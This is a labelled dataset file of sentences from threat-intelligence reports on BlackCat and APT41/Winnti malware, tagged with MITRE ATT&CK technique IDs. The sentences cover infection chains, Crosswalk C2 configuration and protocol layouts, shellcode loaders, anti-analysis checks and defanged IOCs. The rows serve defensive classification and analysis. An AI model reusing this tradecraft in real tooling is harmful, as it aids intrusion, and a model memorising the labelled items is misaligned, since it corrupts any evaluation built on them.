{"sentence": ";T1485Data Destruction ;If credentials for accessing a chat with the victim are leaked, BlackCat affiliates may delete encryption keys, which will render decrypting the files impossible. ;T1498 Network Denial of Service ;If the victim refuses to pay a ransom, BlackCat may carry out DDoS attacks against the victim’s infrastructure.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Higaisa or Winnti?", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "APT41 backdoors, old and new url: https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/ The PT Expert Security Center regularly spots emerging threats to information security, including both previously known and newly discovered malware.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "During such monitoring in May 2020, we detected several samples of new malware that at first glance would seem to belong to the Higaisa group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But detailed analysis pointed to the Winnti group (also known as APT41, per FireEye) of Chinese origin.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Subsequent monitoring led us to discover a number of new malware samples used by the group in recent attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "These include various droppers, loaders, and injectors; Crosswalk, ShadowPad, and PlugX backdoors; and samples of a previously undescribed backdoor that we have dubbed FunnySwitch.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We can confidently state that some of these attacks were directed at a number of organizations in Russia and Hong Kong.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In this article, we will share the results of our investigation of these samples and related network infrastructure, as well as overlaps with previously described attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents Higaisa shortcuts Attribution Crosswalk Loaders and injectors Injectors Local shellcode loaders Attack examples An encrypted resume I can't breathe Chat transcript Attacks on Russian game developers Unity3D Game Developer from St. Petersburg HFS with a surprise A purloined certificate FunnySwitch Unpacking Funny.dll Transport protocols Network-level protocol Application-level protocol Supported commands Unused code FunnySwitch vs. Crosswalk ShadowPad PlugX Paranoid PlugX Conclusion PT products detection names PT Sandbox PT Network Attack Discovery Applications Known names of files from which PL shellcode may be loaded IOCs MITRE 1.", "labels": ["T1027", "T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Higaisa shortcuts The first attack dates to May 12, 2020.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "At the core of the attack is an archive named Project link and New copyright policy.rar (75cd8d24030a3160b1f49f1b46257f9d6639433214a10564d432b74cc8c4d020).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The archive contains a bait PDF document (Zeplin Copyright Policy.pdf) plus the folder All tort's projects - Web lnks with two shortcuts: Conversations - iOS - Swipe Icons - Zeplin.lnk Tokbox icon - Odds and Ends - iOS - Zeplin.lnk The structure of malicious shortcuts resembles the sample 20200308-sitrep-48-covid-19.pdf.lnk spread by the Higaisa group in March 2020.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Comparing command lines in the covid-19 and Zeplin shortcutsThe mechanism for initial infection is fundamentally the same: trying to open either of the shortcuts leads to running a command that extracts a Base64-encoded CAB archive from the body of the LNK file, after which the archive is unpacked to a temporary folder.", "labels": ["T1140", "T1204.002"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Further actions are performed with the help of an extracted JS script.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of script 34fDFkfSD32.jsBut here is where the similarity with the sample described in our Higaisa report ends: instead, this script copies the payload to the folder C:\\Users\\Public\\Downloads, achieves persistence by adding itself to the startup folder and adding a scheduler task, and runs the payload.", "labels": ["T1036.005", "T1053.005", "T1547.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The script also sends the output of ipconfig in a POST request to http://zeplin.atwebpages[.]com/inter.php.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The command run by the shortcut also contains the opening of a URL file extracted from the archive.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The name of the URL file and the target address depend on which shortcut is opened: Conversations - iOS - Swipe Icons - Zeplin.url goes to: https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df Tokbox icon - Odds and Ends - iOS - Zeplin.url goes to: https://app.zeplin.io/project/5c161c03fde4d550a251e20a/screen/5cef98986801a41be35122bb.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This is the only difference between the two LNK files.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In both cases, the target page is hosted on Zeplin, a legitimate service for collaboration between designers and developers, and requires logging in to view.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The payload consists of two files: svchast.exe It functions as a simple local shellcode loader.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The shellcode read from a fixed path.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Before starting, the loader checks the current year: 2018, 2019, 2020, or 2021. Figure 3.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Main function in svchast.exe 3t54dE3r.tmp The shellcode containing the main payload is the Crosswalk backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "On May 30, 2020, a new malicious archive, CV_Colliers.rar (df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d), was detected.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It had two shortcuts: Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk International English Language Testing System certificate.pdf.lnk Their structure fully matched that of the samples from May 12.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In this case, the bait consisted of PDF documents with a CV and IELTS certificate.", "labels": ["T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Depending on which shortcut was opened, the output of ipconfig was sent to one of two addresses: http://goodhk.azurewebsites[.]net/inter.php or http://sixindent.epizy[.]com/inter.php.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Note that all three intermediate C2 servers are on third-level domains on a free hosting service.", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When accessed in a browser, each displays a different decoy page: Figure 4.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Page at zeplin.atwebpages_comFigure 5.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Page at goodhk.azurewebsites_netFigure 6.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Page at sixindent.epizy_comThese servers do not play a major role in the functioning of the malware; their precise purpose remains unknown.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It may be that the malware authors used this to monitor the success of the initial stages of infection, or else tried to lead security teams \"off the scent\" by masking the malware as a more minor threat.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "1.1 Attribution These attacks have been studied in detail by Malwarebytes and Zscaler.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Based on the similarity of the infection chains, researchers classify them as belonging to the Higaisa group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "However, detailed analysis of the shellcode demonstrates that the samples actually belong to the Crosswalk malware family.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Crosswalk appeared no later than 2017 and was mentioned for the first time in a FireEye report on the activities of the APT41 (Winnti) group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "From the FireEye reportFigure 8.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of shellcode from 3t54dE3r.tmpThe network infrastructure of the samples overlaps with previously known APT41 infrastructure: at the IP address of one of the C2 servers, we find an SSL certificate with SHA-1 value of b8cff709950cfa86665363d9553532db9922265c, which is also found at IP address 67.229.97[.]229, referenced in a 2018 CrowdStrike report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Going further, we can find domains from a Kaspersky report written in 2013.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of network infrastructureAll this leads us to conclude that these LNK file attacks were performed by Winnti (APT41), which \"borrowed\" this shortcut technique from Higaisa.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "1.2 Crosswalk Crosswalk is a modular backdoor implemented in shellcode.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The main component connects to a C2 server, collects and sends system information, and contains functionality for installing and running up to 20 additional modules received from the server as shellcode.", "labels": ["T1005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The information collected by the module includes: OS uptime Network adapter IP addresses MAC address of one of the adapters Operating system version and whether it is 32-bit or 64-bit Username Computer name Name of running module PID Shellcode version and whether it is 32-bit or 64-bit (The shellcode supports both 32 and 64 bits.)", "labels": ["T1016", "T1033", "T1082"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It has two-part version numbers; we found ones including 1.0, 1.10, 1.21, 1.22, 1.25, and 2.0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For more detailed analysis of one version of Crosswalk, see the VMware CarbonBlack investigation.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Based on version 1.25 (8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996), which was used in the attacks with LNK files, here we will describe the networking aspects of the malware in more detail.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Crosswalk has broad capabilities for connecting to C2 servers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The network configuration for this particular sample is at the end of the shellcode and is XOR encrypted with a 16-byte key.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The data structure is as follows: Configuration size (4 bytes)", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Key (16 bytes) Encrypted configuration The configuration, in turn, contains the following fields: 0x0 heartbeat interval (in seconds) 0x4 reconnect interval (in seconds) 0x8 bitmask for days of the week when connections may be made 0xC (inclusive) lower bound for time of day when connections may be made 0x10 (non-inclusive) upper bound for time of day when connections may be made 0x14 proxy port 0x18", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "proxy type 0x1C proxy host 0x9C proxy username 0x11C proxy password 0x19C number of C2 servers 0x1A0 array of structures of C2 servers A C2 server structure consists of the following fields: 0x0 connection type 0x4 port 0x8 whether DNS name resolution is necessary (yes/no) 0xC length of hostname 0x10 hostname Before attempting to connect, the backdoor checks whether the current day of the week and time match those allowed in the configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Then, one after the other, it tries combinations of possible proxy servers (any indicated in the configuration plus system proxies) and C2 servers until it connects successfully.", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The communication protocol used between the backdoor and C2 server can be separated logically into two levels: Application-level protocol Transport-level protocol On the application level, messages consist of the following fields: FakeTLS header consisting of 5 bytes: Entry type and protocol version (3 bytes).", "labels": ["T1071.001", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For the client these always equal 17 03 01; for the server, they have random values.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Data length, not including header (2 bytes) Message contents: Command ID (4 bytes, little-endian) Command data size (4 bytes, little-endian) Client ID (36 bytes), generated based on the UUID when the backdoor starts operation Command data The first two client–server and server–client messages have command IDs 0x65 and 0x64, respectively.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They contain the data that will then be used to generate the client and server session keys.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The key generation algorithm is detailed in a Zscaler report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For all subsequent messages, the content (not including the FakeTLS header) is transferred in the corresponding encrypted session key. AES-128 is the encryption algorithm used.", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The transport-level protocol depends on the connection type indicated in the configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Four protocols are supported: Standard TCP connection Application-level messages are sent unchanged as TCP segments.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Equivalent to HTTP Long Polling The client creates two TCP connections.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first will be used to get packets from the server, and the second to send them.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "During the first connection, a GET request is sent to the C2 server.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The server replies with headers with code 200 and Content-Length: 524288000.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The subsequent stream of application-level messages from the server to the client is sent as the body of an HTTP response.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "First HTTP connection with C2After the correct response headers are received, the malware establishes a second connection to the same port, where a POST request is made.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The header dCy is generated by the client based on the UUID and, it would seem, serves as the session ID that links the two connections.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "After receipt of a response with code 200, subsequent messages from the client to the server are sent using separate POST requests.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Second HTTP connection with C2 Duplication of socket with TLS connection The client establishes a TCP connection and sends an HTTPS request like the following one: GET /msdn.cpp HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.1 Content-Length: 4294967295 Host:", "labels": ["T1071.001", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "149.28.152[.]196", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The HTTPS connection is not used again.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Subsequent messages are exchanged in the original TCP connection (without TLS encryption).", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Subsequent communication between the client and server occurs via protocol 1, except for when, at the beginning of the session, the client sends two packets with the FakeTLS header, which starts with the sequence 17 03 01.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first packet always has length 0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The second has length 0x3A, 0x3C, 0x3E, or 0x40 and contains random bytes.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We were unable to determine the purpose of these packets.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Additional packets with FakeTLS header KCP protocol This protocol can be implemented on top of any other protocol (including UDP) to ensure quick and reliable data transfer.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The Crosswalk client uses KCP on top of a TCP connection: KCP protocol data is added to application-level messages that are then sent as TCP segments.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Crosswalk message with KCP headers (highlighted in yellow) Note that in the Crosswalk samples we detected, none of the samples used the KCP protocol in practice.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But the code contains a full-fledged implementation of this protocol, which could be used in other attacks: the developers would simply need to set this connection type in the configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The diversity of protocols and techniques would seem to protect the backdoor from network traffic inspection.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2. Loaders and injectors Investigation of network infrastructure and monitoring of new Crosswalk samples put us onto the scent of other malicious objects containing Crosswalk shellcode as their payload.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We can categorize these objects into two groups: local shellcode loaders and injectors.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Some of the samples in both groups are also obfuscated with VMProtect.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2.1 Injectors Figure 14.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code for injecting shellcode into a running processThe injectors contain typical code that obtains SeDebugPrivilege, finds the PID of the target process, and injects shellcode into it.", "labels": ["T1055", "T1057", "T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Depending on the sample, explorer.exe and winlogon.exe are the target processes.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The samples we found contain one of three payloads: Crosswalk Metasploit stager FunnySwitch (discussed later in this report) Crosswalk and FunnySwitch shellcode is located in the data sections \"as-is,\" while the samples with Metasploit show additional XOR encryption with the key \"jj1\".", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2.2 Local shellcode loaders The main function of the malware is to extract shellcode and run it in an active process.", "labels": ["T1055", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The malware samples belong to one of two categories, based on the source of shellcode that they use: in the original executable or in an external file in the same directory.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Most of the loaders start by checking the current year, much like the samples from the LNK file attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code of the loader's main functionAfter the malware finds the API functions it needs, it decrypts the string Global\\0EluZTRM3Kye4Hv65IGfoaX9sSP7VA with the ChaCha20 algorithm.", "labels": ["T1106", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In one older version, to prevent being run twice the loader creates a mutex with the name Global\\5hJ4YfUoyHlwVMnS1qZkd2tEmz7GPbB. But in recent samples, the decrypted string is not used in any way.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Perhaps part of the code was accidentally deleted during the development process.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Another artifact found in some samples is the unused string CSPELOADKISSYOU.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its purpose remains unclear.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "String \"CSPELOADKISSYOU\" in data sectionIn the self-contained loaders, the shellcode is located in a PE file overlay.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The shellcode is stored in a curious way: data starts from 0x60 bytes of the header, followed by the (encrypted) shellcode.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The data length is stored at offset –0x24 from the end of the executable.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The header always starts with the PL signature.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The other header data is used for decryption: a 32-byte key is located at offset 0x28 and a 12-byte nonce for the ChaCha20 algorithm is at offset 0x50.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Handling of PL shellcode in the loader body (ChaCha20)The ChaCha20 implementation is not always present: some of the samples use Microsoft CryptoAPI with AES-128-CBC for encryption.", "labels": ["T1027", "T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We can also find key information here in the structure of the PL shellcode: at offset 0x28, there are 32 bytes that are hashed with MD5 to obtain a cryptographic key.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Handling of PL shellcode in the loader body (AES-128)Older loader versions use Cryptography API:", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Next Generation (BCrypt* functions) in an equivalent way.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They use AES-128 in CFB mode as the encryption algorithm.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The loaders that rely on external files have a similar code structure and one of two encryption types: ChaCha20 or AES-128-CBC.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The file should contain PL shellcode of the same format as in the self-contained loader.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The name depends on the specific sample and is encrypted with the algorithm used in it.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It can contain a full file path (although we did not detect any such samples) or a relative path.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Building the file name with PL shellcodeAmong all the loaders, we encountered three different shellcode payloads: Crosswalk Metasploit stager Cobalt Strike Beacon 2.3 Attack examples 2.3.1 An encrypted resume This malicious file is a RAR archive, electronic_resume.pdf.rar (025e053e329f7e5e930cc5aa8492a76e6bc61d5769aa614ec66088943bf77596), with two files: Figure 20.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of electronic_resume.pdf.rarThe first file might look like bait, but trying to open it in a PDF viewer gives an error, since it is practically a copy of the latter.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The file Электронный читатель резюме.exe (\"Electronic reader resume.exe\") is an executable self-contained loader for PL shellcode.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It contains Cobalt Strike Beacon as the payload.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 21.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Configuration of Cobalt Strike BeaconThe archive was distributed on approximately June 1, 2020, from the IP address 66.42.48[.]186 and was available at hxxp://66.42.48[.]186:65500/electronic_resume.pdf.rar.", "labels": ["T1105"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The same IP address was used as C2 server.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The modification time of the archive files, as well as the date on which the archive was found the server, point to the attack being active in late May or early June.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The Russian filenames suggest that the targets were Russian-speaking users.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2.3.2 I can't breathe The attack is practically identical to the previous one: malware is distributed in a RAR archive video.rar (fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc) and consists of two .exe files.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The archive is available on June 1 on the same server at the address hxxp://66.42.48[.]186:65500/video.rar. Figure 22.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of video.rarThe executable files are self-contained loaders of Cobalt Strike Beacon PL shellcode with a similar configuration and the same C2 server.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The bait is notable for the topic: the hackers were attempting to exploit U.S. protests related to the death of George Floyd.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The main bait was a video with the name \"I can't breathe-America's Black Death protests that the riots continue to escalate and ignite America!.mp4\" involving reporting on protests in late May, 2020.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Judging by the logo, the source of the video was Australian portal XKb, which releases news materials in Chinese.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Still frame from the bait video2.3.3", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Chat transcript The archive запись чата.7z (\"chat transcript.7z\") (e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae) contains three identical executable files with names resembling \"запись чата-1.png____________________________________.exe\" (\"chat transcript-1.png____________________________________.exe\") in attacks again targeting Russian-speaking users.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of the archive, the name of which promises a \"chat transcript\"The malicious files are self-contained PL shellcode loaders, but the payload here is Crosswalk version 2.0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its configuration implies three ways to connect to the C2 server at 149.28.23[.]32: Transport protocol 3, port 8443 Transport protocol 2, port 80 Transport protocol 1, port 8080 Figure 25.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of the Crosswalk configuration3.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Attacks on Russian game developers The Winnti group first became famous for its attacks on computer game developers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Such attacks continue today, and Russian companies are also among their targets.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "3.1 Unity3D Game Developer from St. Petersburg", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The attack is based on the archive Resume.rar (4d3ad3ff281a144d9a0a8ae5680f13e201ce1a6ba70e53a74510f0e41ae6a9e6), which contains just one file: CV.chm. Running the file without security updates installed causes two windows to appear simultaneously: CHM help in HTML Help and a PDF document.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They contain the same information: a curriculum vitae for the position of game developer or database manager at a St. Petersburg company.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The CV contains plausible contact information, with a St. Petersburg address, email address ending with \"@yandex.ru\", and phone number starting with \"+7\" (Russia's country code).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The only obviously fake aspect is the phone number: 123-45-67. Figure 26.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Result of opening the CHM fileThe PDF file opens due to the script pass.js, which is contained in the CHM file and referenced in the code of the HTML page.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Reference to pass.js in HTML codeThe script uses a technique for running an arbitrary command in a CHM file via an ActiveX object.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This unpacks an HTML help file to the folder C:\\Users\\Public for launching the next stage of the infection: the file resume.exe, which is also embedded inside the CHM file.", "labels": ["T1027", "T1036.005", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 28.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Deobfuscated script pass.jsresume.exe is an advanced shellcode injector of which we had encountered only one sample as of the writing of this article.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Before it gets down to business, this malware, like many other samples we have seen from Winnti, checks the current year.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Current processes are checked and the malware will not run if any of the following are active: ollydbg.exe|ProcessHacker.exe|Fiddler.exe|windbg.exe|tcpview.exe|idaq.exe|idaq64.exe|tcpdump.exe|Wireshark.exe.", "labels": ["T1057"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "On first launch, shellcode will be taken from MyResume.pdf; on subsequent launches, winness.config is the shellcode source.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Main function in resume.exeMyResume.pdf is unpacked from the CHM file.", "labels": ["T1027", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Data read by resume.exe has been added to the end of the PDF file.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If the user opens it directly, a message warns that the document is password-protected.", "labels": ["T1204.002"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "MyResume.pdf, as viewed in Adobe Acrobat ReaderCompared to the PL shellcode, the data structure is more complex and contains the following:", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
